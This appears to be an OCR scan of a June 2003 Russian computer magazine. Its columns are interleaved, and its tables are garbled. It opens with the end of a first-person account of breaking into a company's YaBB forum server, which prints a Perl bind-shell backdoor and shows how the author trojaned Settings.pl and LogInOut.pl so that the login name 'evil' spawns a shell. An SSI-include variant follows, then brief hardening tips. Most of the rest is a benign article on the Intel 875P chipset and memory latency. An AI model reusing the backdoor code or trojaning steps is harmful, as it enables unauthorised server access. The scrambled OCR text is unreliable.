setsockopt (S, SOL_SOCKET, SO_REUSEADDR,1);
bind (S, sockaddr_in ($port, INADDR_ANY)); В каталоге Members сразу же обнаружились пароли
listen (S, 50); пользователей на форуме, а также приватные сообще-
while (1){
accept (X, S); ния. После 30-ти минутного изучения остальных катало-
if (!($pid = fork)){ гов я пришёл к выводу, что больше ничего интересного
if(!defined $pid){exit(0);}
open STDIN,"<&X"; нет, и приступил к просмотру файлов, валявшихся в кор-
open STDOUT,">&X"; не yabb: english.lng, Settings.pl, template.html, YaBB.pl.
open STDERR,">&X";
exec("/bin/sh -i");  english.lng – им оказался файл перевода, ничего инте-
close X;}} ресного.
 YaBB.pl – основной файл форума, особо полезной ин-
Затем выполнил на своей машине: формации там не было.
 Template.html – шаблон для выдаваемых сообщений,
были некоторые соображения на счёт этого файла, но
было решено сделать его 2-ым вариантом.
 Settings.pl – это основной файл настройки, в нём были
Теперь у меня был shell на главном сервере конторы. Я все настройки форума, которые должен был настро-
не буду упоминать про попытки получить root-доступ из ить администратор.

№6(7), июнь 2003 79


безопасность
На первый взгляд там не было ничего интересного, и браузера начала медленно ползти. Вернувшись к консо-
я хотел уже было махнуть на это рукой, но вдруг вспом- ли, я ввёл:
нил про вывод команды ls –al:

rwxrwxrwx!!! Я чуть со стула не упал! Т.е. любой пользова-


тель был вправе изменить содержимое этого файла! На-
чался лихорадочный поиск места, куда можно внедрить Цель достигнута! Теперь я мог делать что угодно от
свой код. пользователя adil. Так как все файлы я уже изучил до зах-
вата shell, делать мне уже было нечего и я решил закре-
пить shell-доступ и сделать его чуть проще, для этого мне
пришлось протроянить исходники форума.

Часть третья: укрепление


Среди кучи «очень нужных настроек» я всё-таки на- Вторичной целью было обеспечить максимально простой
шёл уязвимое место! И оно выглядело так: вход в shell. Итак, теперь все файлы были в моём распо-
ряжении. Быстренько просмотрев исходники, я понял, что
Settings.pl нужный мне код находится в файле Sources/LogInOut.pl.
$emailwelcome = 1; Кусок кода выглядел так:
# Set to 1 to email a welcome message to users even when
# you have mail password turned off
$mailprog = "/usr/sbin/sendmail"; Settings.pl
# Location of your sendmail program
$smtp_server = "smtp.mysite.com"; sub Login2 {
# Address of your SMTP-Server &fatal_error("$txt{'37'}") if($FORM{'username'} eq "");
$webmaster_email = q^webmaster@mysite.com^; &fatal_error("$txt{'38'}") if($FORM{'passwrd'} eq "");
$FORM{'username'} =~ s/\s/_/g;
# Your email address.
(eg: $webmaster_email = q^admin@host.com^;) $username = $FORM{'username'};
$mailtype = 0; &fatal_error("$txt{'240'} $txt{'35'} $txt{'241'}") ↵
# Mail program to use: 0 = sendmail, 1 = SMTP, 2 = Net::SMTP if($username !~ /^[\s0-9A-Za-z#%+,-\.:=?@^_]+$/);
&fatal_error("$txt{'337'}") ↵
if($FORM{'cookielength'} !~ /^[0-9]+$/);
if ($username eq "evil")
{
system("/home/n/navy/public_html/cgi-bin/backdoor.cgi");
exit;
Переменная $mailprog определяла программу, запус- }
if(-e("$memberdir/$username.dat")) {
каемую для отсылки почты, а $mailtype уточняла, что от- fopen(FILE, "$memberdir/$username.dat");
сылку будет осуществлять именно sendmail (из перемен-
ной $mailprog). После моего вмешательства строка: Красным выделен кусок кода, добавленный мною. В
итоге я мог в любое время зайти на форум под именем
$mailprog = "/usr/sbin/sendmail"; «evil» и получить shell на 31337 порту.
# Location of your sendmail program

приобрела вид: Часть четвёртая: альтернатива


Пришло время вспомнить про вариант номер 2,
$mailprog = "/home/n/navy/public_html/cgi-bin/backdoor.cgi"; template.html. Идея основывалась на технологии SSI (Server
# Location of your sendmail program
side includes). Эта технология позволяет выполнение вне-
И как же теперь выполнить бэкдор? Очень просто. Я шних скриптов и встраивание их ответов в тело html-доку-
вышел из бэкдора и проверил, закрылся ли он: мента. Т.е. я мог бы в конец template.html вставить строку:

<!--#include virtual="/home/n/navy/public_html/cgi-bin/ ↵
backdoor.cgi?$QUERY_STRING" -->

Но этот вариант будет доступен, если сервер настро-


ен на обработку .html, а не только .shtml, shtm.

Часть пятая: заключение


Здесь я хотел бы дать советы по защите от подобного
рода атак сетевым администраторам.
 Не давать shell-доступ безответственным пользовате-
Зашёл на главную страницу форума, промотал страницу лям.
вниз, и увидел там формочку:  Запретить все внешние соединения, кроме root (фун-
кция bind()).
 Тщательно проверять права доступа, т.к. именно из-
за неправильного их установления имел место этот
Ввёл имя юзера Navy, нажал enter. Полоса загрузки взлом.

80
hardware

ГЛУБОКОВОДНОЕ ПОГРУЖЕНИЕ
В ЧИПСЕТ INTEL 875P

82
hardware
Что такое чипсет, и какую роль в компьютерах типа IBM PC
он играет? Читатели, собиравшие (или хотя бы разбирав-
шие) в свое время бессмертные ZX-Spectrum, наверняка
помнят большое количество микросхем, живописно раз-
…чтобы оценить свежесть осетрины, вовсе бросанных по системной плате. Среди них были как мик-
не обязательно съедать всего осетра целиком. росхемы поддержки центрального процессора, так и кон-
Святослав Логинов троллеры различных устройств (клавиатуры, памяти, эк-
рана и т. д.). В совокупности они образовали набор сис-
темной логики, так называемый чипсет, дословно пере-
Как-то, читая очередной компьютерный водимый на русский язык как «набор микросхем». В фир-
журнал, я задумался: а для кого, собственно, менных Spectrum микросхема чипсета была всего одна,
предназначены все эти обзоры чипсетов и но разработанная по специальному заказу, она вмещала
прочих компьютерных комплектующих? в себя все остальные. Таким образом, ничего таинствен-
Сравнительные характеристики и тесты ного в чипсете и нет – просто за счет высокой степени
производительности – это, бесспорно, нуж- интеграции большое количество сопутствующих процес-
но, полезно и хорошо, но вот за счет чего сору устройств удается разместить на одном кристалле.
та или иная производительность в каждом Собственно, чипсет первых IBM PC XT/AT отличался от
конкретном случае достигается? Благодаря чипсета Spectrum лишь тем, что имел контроллер шины ISA
каким именно инженерным решениям веду- на борту, плюс контроллер DMA (устройства прямого досту-
щие компании «опускают» своих многочис- па к памяти), плюс еще несколько контроллеров. Ни диско-
ленных конкурентов? А сами конкуренты – вого контроллера, ни даже контроллера COM- и LPT-портов
где они допустили просчет? Увы! Подавляю- в первых IBM-овских чипсетах и в помине не было, а соот-
щее большинство публикаций не дает ответа ветствующая функциональность обеспечивалась установ-
на этот вопрос. В результате философия кой специальной карты в слот расширения. Идея открытой
архитектуры чипсета остается за кадром и архитектуры IBM PC как раз и заключалась в максималь-
весь разговор сводится к известному «вчера ном упрощении оснастки материнской платы за счет выно-
были большие, но по пять, а сегодня по три, са всех остальных компонентов во внешние контроллеры.
но маленькие». Ни принципы функциониро- Однако стремительное увеличение степени интеграции
вания чипсета, ни сопутствующая ему терми- привело к тому, что вмонтировать в уже готовый кристалл
нология при этом вообще не поясняются и у пару-тройку лишних контроллеров стало намного дешев-
читателя складывается выхолощенный образ ле, чем размещать эти же самые контроллеры на отдель-
аппаратуры, на которой он работает. Помни- ной печатной плате. Так появились компьютеры, несущие
те анекдот: «Вы нарушили закон, и за это мы на своем борту контроллеры гибких/жестких дисков, ин-
вас расстреляем! Какой, спрашиваете, за- тегрированный звук/видео и… еще много всякой всячины!
кон? Этого мы вам сказать не можем, ведь Количество устройств, заключенных в одной микросхеме,
этот закон – секретный.»? Шутка шуткою, стремительно нарастало, и в какой-то момент разработчи-
но уж очень хорошо она иллюстрирует ки решили разделить ее на две, получивших название се-
современную ситуацию: «Данная модель верного и южного мостов (в другой терминологии – хабов).
имеет ряд патентованных технологий Северный мост (названный так за свое традиционное
Super X, Super Y и Double-Super Z, обеспечи- расположение на чертежах) берет на себя наиболее ответ-
вающих ей наивысшую производительность. ственные задачи, требующие наивысшей пропускной спо-
В чем заключается их суть – не спрашивайте! собности, а потому и геометрической близости к процес-
Не можем же мы раскрывать секрет фирмы сору. Это контроллер системной шины, контроллер памя-
первому встречному, верно?». ти, контроллер порта AGP, PCI-контроллер или контроллер
Вам еще не надоело покупать кота в мешке? внутренней шины для общения с южным мостом. В насто-
Хотите заглянуть внутрь кристалла чипсета, ящее время пропускная способность периферийных уст-
разобраться, чем он живет, как дышит, ройств, «подцепленных» к южному мосту, превысила пре-
насколько корректно работает с остальными дельно допустимую пропускную способность шины PCI
устройствами? Тогда эта статья для вас! (133 Мб/сек) и производители, скрепя сердце, вынесли кон-
троллер PCI-шины на южный мост, ну а в сам северный
мост внедрили высокоскоростной контроллер внутренней
шины (в Intel 82875P – это Hub Interface 1.5 с пропускной
способностью в 266 Мб/сек, что вдвое выше, чем у штат-
ной PCI. Впрочем, это еще не предел: MuTIOL-контроллер
чипсета SiS 655 обеспечивает пропускную способность аж
КРИС КАСПЕРСКИ в 1,2 ГГб/сек, то есть вчетверо быстрее Intel, правда, в по-
давляющем большинстве случаев эта возможность так и
остается невостребованной, поскольку у вас попросту не
найдется таких «прожорливых» периферийных устройств!).

№6(7), июнь 2003 83


hardware
Южный мост отвечает за ввод/вывод и включает в себя ячейки. Еще один такт уходит на уточнение типа запроса,
контроллер DMA, контроллер прерываний, контроллер тай- назначение уникального идентификатора транзакции, со-
мера, контроллеры жестких и гибких дисков, контроллеры общение длины запроса и маскировку байтов шины. Под-
последовательных, параллельных и USB-портов и т. д., и т. п. робнее об этом можно прочитать в спецификациях на
Легко видеть, что производительность системы определя- шины P6 и EV6, здесь же достаточно отметить, что эта
ется фактически одним северным мостом, причем в силу фаза запроса осуществляется за три такта системной
значительных технологических и инженерных сложностей шины. Независимо от размера читаемой ячейки (байт,
работы на таких запредельных скоростях именно на север- слово, двойное слово) длина запроса всегда равна раз-
ный мост и приходится наибольшая доля архитектурных меру линейки L2-кэша, что составляет 32 байта для про-
различий в конструкции чипсетов. Южные же мосты вто- цессоров K6/P-II/P-III, 64 байта – для AMD Athlon и 128 байт –
ростепенны, скучны, неповоротливы и неинтересны. Тот же для P-41. Такое решение значительно увеличивает произ-
Intel 875P в качестве южного моста использует допотоп- водительность памяти при последовательном чтении яче-
ную микросхему Intel 82801EB, практически не изменившу- ек и практически не уменьшает ее при чтении ячеек враз-
юся с апреля 1999 года. Вы эту вялость жизни примени- брос, что и неудивительно, т.к. латентность чипсета в не-
тельно к северным мостам представляете? Северные мо- сколько раз превышает реальное время передачи данных
сты – наиболее бурно и динамично развивающийся ком- и им можно пренебречь.
понент компьютера, уступающий в интенсивности накала Контроллер шины (BIU – Bus Interface Init), «вживлен-
страстей разве что самим центральным процессорам (ко- ный» в северный мост чипсета, получив запрос от про-
торые, собственно, северный мост и обслуживают). Это цессора, в зависимости от ситуации либо передает его
передовое направление техники и науки, и здесь нам есть соответствующему агенту (в нашем случае – контролле-
чему поучиться! Данная статья целиком и полностью отда- ру памяти), либо ставит запрос в очередь, если агент в
ет себя именно северным мостам, ну а про южные вы про- этот момент чем-то занят. Потребность в очереди объяс-
читаете где-нибудь в другом месте. няется тем, что процессор может посылать очередной
Начнем с главного: вопреки распространенному заб- запрос, не дожидаясь завершения обработки предыдуще-
луждению процессор взаимодействует с оперативной па- го, а раз так – запросы приходится где-то хранить. Чем
мятью не напрямую, а через специальный контроллер, больше запросов может накапливать чипсет, тем выше
подключенный к системной шине процессора приблизи- максимально достижимый параллелизм обработки дан-
тельно так же, как и остальные контроллеры периферий- ных, а значит, выше и скорость. Чипсеты старого поколе-
ных устройств. Причем механизм обращения к портам вво- ния (Intel 815, в частности) могли накапливать всего лишь
да/вывода и к ячейкам оперативной памяти с точки зре- до четырех запросов, однако с ростом отношения латен-
ния процессора практически идентичен. Процессор сна- тность/пропускная способность оперативной памяти раз-
чала выставляет на адресную шину требуемый адрес и в мера очереди стало катастрофически не хватать и в
следующем такте уточняет тип запроса: происходит ли об- Intel 875P/SiS 655 она была увеличена до 12 элементов.
ращение к памяти, портам ввода/вывода или подтвержде- При первой же возможности чипсет извлекает запрос
ние прерывания. В некотором смысле оперативную память из очереди и передает его контроллеру памяти (MCT –
можно рассматривать как совокупность регистров ввода/ Memory Controller). В течение одного такта он декодирует
вывода, каждый из которых хранит некоторое значение. полученный адрес в физический номер строки/столбца
Механизм взаимодействия памяти и процессора выг- ячейки и передает его модулю памяти по сценарию, опи-
лядит приблизительно так: когда процессору требуется санному в приложении «приблизительная схема взаимо-
получить содержимое ячейки оперативной памяти, он, действия памяти и процессора».
дождавшись освобождения шины, через механизм арбит- В зависимости от архитектуры контроллера памяти он
ража захватывает шину в свое владение (что занимает работает с памятью либо на частоте системной шины (син-
один такт) и в следующем такте передает адрес искомой хронный контроллер), либо поддерживает память любой
другой частоты (асинхронный контроллер). Синхронные
контроллеры ограничивают пользователей ПК в выборе
модулей памяти, но, с другой стороны, асинхронные кон-
троллеры менее производительны. Почему? Во-первых, в
силу несоответствия частот, читаемые данные не могут
быть непосредственно переданы на контроллер шины, и
их приходится сначала складывать в промежуточный бу-
фер, откуда шинный контроллер сможет их извлекать с нуж-
ной ему скоростью. (Аналогичная ситуация наблюдается и
с записью). Во-вторых, если частота системной шины и
частота памяти не соотносятся как целые числа, то перед
началом обмена приходится дожидаться завершения те-
кущего тактового импульса. Таких задержек (в просторе-
чии пенальти) возникает две: одна – при передаче микро-
схеме памяти адреса требуемой ячейки, вторая – при пе-
редаче считанных данных шинному контроллеру. Все это

84
hardware
значительно увеличивает латентность подсистемы памя- влияет на латентность! А поскольку для многих вычислитель-
ти, т. е. промежутка времени с момента посылки запроса ных алгоритмов величина латентности как раз и является
до получения данных. SiS 655 – асинхронный контроллер доминирующей, то оптимизм по поводу такого параллелиз-
со всеми вытекающими отсюда достоинствами и недостат- ма выходит не столь уж и радужным. При том же копирова-
ками, а Intel 875P – это асинхронный контроллер, при со- нии производительность увеличивается не в двое, а всего в
впадении частот шины и памяти автоматически переходя- полтора раза! Таким образом, на реальных задачах расчет-
щий в синхронный режим. Сочетая сильные стороны обо- ная пропускная способность все равно не достигается! Что
их типов контроллеров, чипсет Intel 875P практически не же касается хаотичного доступа к памяти, характерного для
имеет недостатков (одним выстрелом – двух зайцев). таких структур, как деревья и списки (а это базовые струк-
Другой фундаментальной характеристикой чипсета яв- туры данных!), здесь ситуация еще хуже! Оперативная па-
ляются типы поддерживаемых им модулей памяти, что иг- мять отнюдь не так однородна, как кажется: она делится на
рает решающую роль в выборе чипсета пользователем (точ- банки, банки делятся на страницы, страницы делятся на стро-
нее, разработчиком материнской платы, но это не суть важ- ки, ну а строки делятся на ячейки. Прежде чем микросхема
но). Чипсет Intel 860, сделавший в свое время ставку на мало памяти «позволит» обратиться к ячейкам той или иной стро-
популярную память типа RDRAM, несмотря на все марке- ки, соответствующая ей страница должна быть открыта, а
тинговые усилия, так и не получил большего распростране- на эту операцию требуется затратить весьма внушительное
ния, поэтому компании Intel пришлось переориентировать- количество времени, практически сопоставимое с выпол-
ся на DDR-SDRAM, де-факто ставшей массовой памятью к нением всего пакетного цикла целиком! Зато все запросы,
настоящему времени. Чипсет Intel 875P поддерживает три направленные к открытой странице, могут выполняться без
наиболее перспективных типа памяти: DDR266, DDR333 и каких-либо задержек. Большинство модулей памяти имеют
DDR400, что выгодно отличает его от чипсета SiS 655, кото- от четырех до восьми банков, а потому чипсет Intel 875P
рый память типа DDR400, увы, не поддерживает (подроб- может удерживать в открытом состоянии до 32 страниц од-
ную информацию о поддерживаемых типах памяти вы най- новременно, что соответствует 256 Кб памяти. От макси-
дете в приложении «выбор и конфигурирование памяти»)! мально возможного количества открытых страниц напрямую
Однако обеспечить формальную поддержку высокоско- зависит и производительность приложений, обрабатываю-
ростных типов памяти – это только полдела! Ведь с этой са- щих более одного потока данных параллельно (к этой кате-
мой памятью еще надо уметь эффективно работать. Можно гории относятся, в частности, многие графические прило-
с сумасшедшей скоростью черпать воду наперстком, а мож- жения). Отсюда: лучше иметь четыре отдельных модуля по
но степенно и деловито хлебать ее литровой пивной круж- 128 Мб, чем один на 512 Мб! При работе в двухканальном
кой. Так что не надо путать тактовую частоту чего бы то ни режиме это даст 16 одновременно открытых страниц плюс
было с реально достижимой производительностью. учетверенную (реально удвоенную) пропускную способность
Начнем с того, что пропускная способность наилучшей за счет усиленного параллелизма. Емкость и организация
на сегодняшний день памяти DDR400, составляющая, как всех модулей при этом должна быть строго идентичной, в
известно, 3,2 ГГб/сек, много меньше пропускной способ- противном случае в многоканальном режиме чипсет просто
ности системной шины последних моделей Pentium-4, вме- не сможет работать! Требования к рабочей частоте менее
щающих в себя 4,3 ГГб/сек и 6,4 ГГб/сек на частотах в жестки (более быстрая память будет работать на частоте
4х133 МГц и 4x200 МГц соответственно. Причем отметим, самой медленной) и двухканальный режим разночастотные
что 3,2 ГГб/сек – это пиковая производительность, дости- модули поддерживать в принципе будут, однако чипсет смо-
жимая лишь при параллельной обработке данных, а на жет работать только в обычном режиме адресации. А одна
практике из-за высокой латентности чипсета даже при из главных вкусностей Intel 875P как раз и заключается в
операции копирования блоков памяти она (пропускная том, что он поддерживает продвинутый режим динамичес-
способность) оказывается в полтора-два раза меньше! К кой адресации.
тому же часть пропускной способности неизбежно «съе- Что же это за гусь такой и с чем его едят? В режиме
дает» AGP-карта, и процессорной шине практически ни- обычной адресации (в котором функционирует подавля-
чего не остается. Так какой же тогда смысл покупать (и ющее большинство чипсетов) банки памяти следуют
выпускать!) процессоры с быстрыми шинами, если этой один за другим и при последовательном чтении памяти
быстротой воспользоваться все равно не удается?! располагаются так: страница 0 банк 0 → страница 0
А поскольку надеяться на быстрый прогресс в области банк 1 → страница 0 банк 2 → страница 0 банк 3 → стра-
совершенствования памяти нам, увы, не приходится, разра- ница 1 банк 1… Как следствие увеличивается удельная
ботчики были вынуждены прибегнуть к усилению паралле- плотность банков на страницу (а значит, и возрастают
лизма. Короче говоря, если один землекоп выкапывает один накладные расходы на их более частое открытие/закры-
метр траншеи за час, то N землекопов выкопают N метров тие). В режиме динамической адресации чипсет отобра-
за это же самое время. Чипсет Intel 875P отличается от сво- жает физические адреса памяти на адреса системной
их предшественников тем, что умеет работать с двумя па- шины так, что банки начинают переключаться вдвое
рами модулей памяти параллельно. То есть если тот же реже. Сначала следует последовательность страница 0
Intel 845 загружал запрошенную у него кэш-строку за два банк 0 → страница 0 банк 1 → страница 1 банк 1 → стра-
пакетных цикла, то Intel 875P загружает ее за один, обраща- ница 1 банк 1 → страница 2 банк 0, а когда станицы пер-
ясь сразу к двум модулям памяти одновременно! Эта мера вых двух банков полностью исчерпают себя: страница 0
вдвое увеличивает пропускную способность, но никак не банк 2 → страница 0 банк 3 → страница 1 банк 2 → стра-

№6(7), июнь 2003 85


hardware
ница 1 банк 3 → страница 2 банк 2. Достоинством ново- модули памяти). Если же рабочую частоту памяти уве-
го решения является значительное уменьшение латент- личить сверх штатного, то она и вовсе может выйти из
ности чтения, что немаловажно для подавляющего боль- строя. Чтобы этого не произошло, чипсет Intel 875P под-
шинства приложений и потому отказываться от этой воз- считывает количество обращений к памяти в единицу
можности, право же, не стоит! времени и при достижении некоторого предела начина-
С другой вкусностью чипсета Intel 875P, так называе- ет вставлять холостые циклы, давая памяти хоть немно-
мой PAT (Performance Acceleration Technology – технология го остыть. Означает ли это, что память не сможет рабо-
увеличения производительности), ситуация скорее запутан- тать на своей полной пропускной способности (т.е. две
на, чем ясна. В документации сказано лишь то, что эта тех- порции данных за один такт)? А вот и нет! Последова-
нология увеличивает производительность за счет сокра- тельное чтение ячеек практически не нагревает микро-
щения латентности чипсета, которая теперь (если верить схему, а вот интенсивное переключение банков – да.
документации) составляет всего два такта. На удивление Таким образом, увеличив частоту работы памяти сверх
малая величина, если принять во внимание длину цепочки штатного, мы сможем увеличить и производительность
и количество участников обработки запроса. Типичная схе- потоковых приложений, гарантированно оставаясь зас-
ма большинства чипсетов выглядит так: контроллер шины трахованными от возможных сбоев, возникающих при
принимает запрос и ставит его в очередь, которую периоди- хаотичном обращении к различным страницам (что про-
чески опрашивает агент транзакций и, извлекая накопив- исходит, в частности, при загрузке Windows).
шиеся к этому времени запросы, преобразует их в команд- Другой путь – использование внешнего термодатчи-
ные пакеты, поступающие на вход планировщика запросов ка, прикрепленного к микросхеме. Чипсет Intel 857P это
к памяти, который получает запросы сразу от нескольких поддерживает, однако перекладывает заботу об охлаж-
устройств: процессора, AGP-карты, южного моста и др., ста- дении памяти на BIOS, что уже не есть хорошо. С дру-
раясь обслуживать всех клиентов максимально эффектив- гой стороны, дополнительный датчик карман не тянет,
но. Спланированные запросы накапливаются в очереди ар- и как резервный уровень защиты от перегрева он впол-
битра памяти, который по мере их извлечения распределя- не подойдет.
ет ячейки по физическим адресам, передавая их непосред- И наконец, шина CSA (CommunicationsStreaming Archi-
ственно блоку сопряжения с модулями памяти. Теперь вам tecture) – последняя рассматриваемая нами вкусность
понятно, чем одни чипсеты отличаются от других? чипсета Intel 875P, наличием которой не может похвас-
За словами «контроллер шины» и «контроллер памя- таться ни один из его конкурентов. Обеспечивая пропус-
ти» скрывается целый мир, состоящий из множества уз- кную способность в 266 Мб/сек, она позволяет значитель-
лов и сложно взаимодействующих друг с другом компо- но разгрузить южный мост от таких прожорливых чудо-
нентов. Заставить все это хозяйство работать параллель- вищ, как, например, Gigabit Ethernet Intel PRO/1000. Весь
но практически невозможно и потому латентность рядо- вопрос в том, сколько производителей интегрируют та-
вых чипсетов составляет от десяти до двадцати тактов си- кой чип на свои материнские платы. Потребность в столь
стемной шины! Ума не приложу, как парням из Intel уда- быстрых локальных сетях у общественности еще не воз-
лось уложиться всего лишь в два. Однако уменьшение ла- никла и в ближайших перспективах шине CSA суждено
тентности еще не увеличивает пропускную способность, и оставаться незадействованной.
для потоковых приложений (либо же приложений, храня- В остальном же Intel 875P представляется крайне
щих обрабатываемые данные в основном в кэше) прирост удачным и хорошо сбалансированным чипсетом. Иде-
скорости окажется пренебрежительно мал. По результа- альный выбор для тех, кому нужна скорость и у кого
там некоторых исследований (сообщения о которых были есть деньги. Чипсет SiS 655 обеспечивает не сильно
найдены в Интернете) общий прирост производительнос- худшую скорость, но за значительно меньшую сумму.
ти, осуществляемый PAT, составляет всего 2% – 5%. Очень Однако Intel – бренд (и этим все сказано), а чипсеты
странные цифры! К сожалению, никакой дополнительной сторонних производителей – это все равно, что обезь-
информации (что именно и как именно измерялось) авто- яна с гранатой. Порой разница между заявленным и
рами исследований не приводится, а потому польза от та- действительным столь велика, что начинаешь понево-
ких исследований равна нулю. Во всяком случае, в чипсе- ле задумываться: настолько ли вы богаты, чтобы по-
те SiS 655 ничем подобным и не пахнет и, судя по всему, зволить себе покупать дешевые вещи? В частности, не-
его латентность достаточно велика (к сожалению, из-за которые чипсеты от VIA поддерживают заявленные ча-
отсутствия самого чипсета измерять ее реальное значе- стоты лишь формально, т.е. они «держат» шину на этой
ние не представляется возможным). частоте, но внутри самого чипсета данные передаются
Еще одной приятной особенностью чипсета Intel 875P, со скоростью вдвое, а то и вчетверо меньшей. «Ма-
которую, без сомнения, по достоинству оценят все лю- разм», – воскликнете вы. «Нет, просто дешевый чип-
бители «разгона», является возможность контроля тем- сет», – возражу я. К слову сказать, в моей книге «Тех-
пературы чипов памяти. Не секрет, что даже при рабо- ника оптимизации программ», которая скоро появится
те в штатном режиме память очень сильно нагревает- в продаже, вы найдете не только развернутое описа-
ся и при плохой циркуляции воздуха внутри корпуса ние архитектуры принципов функционирования опера-
может начать сбоить (кстати, некоторые процессорные тивной памяти, но и впечатляющий список ошибок ре-
вентиляторы этому очень даже способствуют, посколь- ализаций аппаратуры с объяснениями, почему в тех или
ку направляют поток горячего воздуха прямиком на иных случаях она работает не так, как хотелось бы.

86
hardware
Приложение 1  В течение следующего такта контроллер памяти деко-
Выбор и конфигурирование памяти дирует адрес и ставит его в свою внутреннюю очередь
Поскольку чипсеты Intel 857P и SiS 655 поддерживают запросов на чтение памяти.
далеко не все типы DDR-памяти, то существует ненуле-  В следующем такте запрос извлекается из очереди, и
вая вероятность приобрести в магазине такой модуль, контроллер, при необходимости дождавшись прихода
который на вашем компьютере работать просто не бу- фронта тактового импульса микросхемы памяти, пе-
дет, либо же будет работать крайне неэффективно. А редает ей адрес ячейки:
потому перед походом в магазин рекомендуем внима- I. Если соответствующая страница открыта и банк па-
тельно изучить таблицы, приведенные ниже. Надеюсь, мяти не находится на регенерации, чипсет выстав-
они помогут вам сделать правильный выбор (или узнать: ляет сигнал CAS и передает сокращенный адрес
подходит ли уже имеющаяся у вас память к новому чип- ячейки. Спустя 2-3 такта частоты памяти на шине
сету или нет). появляется первая порция считанных данных.
Что же касается чипсета SiS 655, то в рекламном бук- II. Контроллер памяти считывает ее за один такт.
лете, выложенном на сайте компании, никакой информа-  Синхронный контроллер памяти с началом сле-
ции на этот счет нет, а нормальная техническая докумен- дующего такта передает считанные данные кон-
тация «зажата» и отдается только за деньги. Гм, платить тролеру шины и в дальнейшем пересылка осу-
свои деньги, чтобы описывать (читай: продвигать) чипсет ществляется параллельно с чтением, но с за-
компании SiS?! А оно мне нужно? держкой в один такт.
Òàáëèöà 1. Òèïû ïàìÿòè, ïîääåðæèâàåìîé Intel 875EP.  Асинхронный контроллер памяти «благодаря»
расхождению частот не может передавать дан-
ные одновременно с чтением, и вынужден на-
капливать их во временном буфере. После за-
Òàáëèöà 2. Íàñòðîéêà ïàìÿòè íà ìàêñèìàëüíóþ ïðîèçâîäèòåëüíîñòü. вершения пакетного цикла чтения, контроллер
памяти по приходу фронта следующего синхро-
импульса начинает передавать содержимое вре-
менного буфера контроллеру шины на требуе-
мой частоте.
 Примечание: некоторые дешевые чипсеты, в ча-
стности VIA KT133/KT266, осуществляют пере-
Обратите внимание, что DDR 333 выгоднее гонять на дачу данных внутри чипсета только по фронту
133 MHz шине, но не на 200 MHz! импульса, что полностью обесценивает все пре-
имущества шины EV6, на которой работает
Òàáëèöà 3. Íàáèâêà ïàìÿòè â ñëîòû íà Intel 875P è åå âëèÿíèå
íà ïðîèçâîäèòåëüíîñòü (1 – íàèâûñøèé ðåéòèíã). Athlon, и ее эффективная частота (определяе-
мая, как известно, самым узким местом систе-
мы) оказывается равной всего 100/133 MHz.
 Примечание: если длина запроса превышает
длину пакета, то независимо от типа контрол-
лера памяти, данные всегда передаются через
временный буфер.
III. На чтение «хвоста» пакета в зависимости от его
Òàáëèöà 4. Íàáèâêà ïàìÿòè â ñëîòû íà Intel 875P è åå âëèÿ-
íèå íà ïðîèçâîäèòåëüíîñòü (1 – íàèâûñøèé ðåéòèíã). длины уходит еще от трех до семи тактов частоты
оперативной памяти при использовании памяти
типа SDRAM и от двух до трех тактов на DDR соот-
ветственно.
IV. Если длина запроса превышает длину пакета, то
мы возвращаемся к пункту I.
V. Контроллер шины, получив считанные данные, фор-
мирует запрос на передачу данных от чипсета к про-
цессору и ставит его в очередь, на что расходуется
Приложение 2 один такт.
Приблизительная схема взаимодействия VI. Если в очереди не находится ничего другого, и шина
памяти и процессора никем не занята, контроллер шины извлекает зап-
 Получив запрос на чтение ячейки, процессор выпол- рос из очереди и «выстреливает» его в шину, пере-
няет арбитраж и передает чипсету адрес и длину зап- давая за один такт одну, две или четыре порции дан-
рошенного блока памяти. При условии, что шина сво- ных (на K6/P-II/P-III, Athlon и P-4 соответственно).
бодна, эта операция укладывается в четыре такта. VII. Как только запрошенная ячейка попадает в процес-
 Контроллер шины, получив запрос, ставит его в оче- сор, она становится немедленно доступной для об-
редь и, если контроллер памяти свободен, передает ращения, даже если пакетный цикл передачи еще
ему запрос с началом следующего такта. не завершен.

№6(7), июнь 2003 87


hardware
VIII. Все! Остается лишь добавить латентность кэш-кон- раллельно, завод может выдавать хоть по сотне Мерседе-
троллеров всех иерархий и латентность самого про- сов в день, и его «пропускная способность» в большей сте-
цессора, но это уже тема другого разговора, к опе- пени определяется именно количеством сборочных линий,
ративной памяти прямого отношения не имеющая. а не временем сборки каждой машины. В настоящее вре-
 если требуемая DRAM-страница закрыта, но банк не мя практически все производители оперативной памяти
находится на регенерации, контроллер памяти пере- маркируют свою продукцию именно в пропускной способ-
дает адрес строки, вырабатывает сигнал RAS, ждет 2 ности, но наблюдающийся в последнее время стремитель-
или 3 такта, пока микросхема его «переварит», и пе- ный рост пропускной способности адекватного увеличения
реходит к сценарию I. производительности приложений, как это ни странно, не
 если же банк находится на регенерации, контроллеру вызывает. Почему?
приходится подождать от одного до трех тактов, пока Основной камень преткновения – фундаментальная
она не будет завершена. проблема зависимости по данным. Рассмотрим следую-
щую ситуацию. Пусть ячейка N 1 хранит указатель на ячей-
Приложение 3 ку N 2, содержащую обрабатываемые данные. До тех пор
Латентность против пока мы не получим содержимое ячейки N 1, мы не смо-
пропускной способности жем послать запрос на чтение ячейки N 2, поскольку еще
С точки зрения пользователя PC главная характеристика не знаем ее адреса. Следовательно, производительность
памяти – это скорость или, другими словами, ее быстро- памяти в данном случае будет определяться не пропуск-
действие. Казалось бы, измерить быстродействие просто. ной способностью, а латентностью. Причем не латентно-
Достаточно подсчитать количество информации, выдава- стью микросхемы памяти, а латентностью всей подсисте-
емой памятью в единицу времени (скажем, мегабайт в мы памяти – кэш-контроллером, системной шиной, набо-
секунду), и… ничего не получится! Дело в том, что время ром системной логики… Латентность всего этого хозяй-
доступа к памяти непостоянно и в зависимости от харак- ства очень велика и составляет порядка 20 тактов сис-
тера обращений варьируется в очень широких пределах. темной шины, что многократно превышает полное время
Наибольшая скорость достигается при последовательном доступа к ячейке оперативной памяти. Таким образом, при
чтении, а наименьшая – при чтении вразброс. Но и это обработке зависимых данных быстродействие памяти во-
еще не все! Современные модули памяти имеют несколь- обще не играет никакой роли: и SDRAM PC100, и RDRAM-
ко независимых банков и потому позволяют обрабатывать 800 покажут практически идентичный результат!
более одного запроса параллельно. Причем описываемый случай отнюдь не является на-
Если запросы следуют друг за другом непрерывным по- думанным, скорее наоборот, это типичная ситуация. Ос-
током, непрерывно генерируются и ответы. Несмотря на новные структуры данных (такие, как деревья и списки)
то, что задержка между поступлением запроса и выдачей имеют ярко выраженную зависимость по данным, посколь-
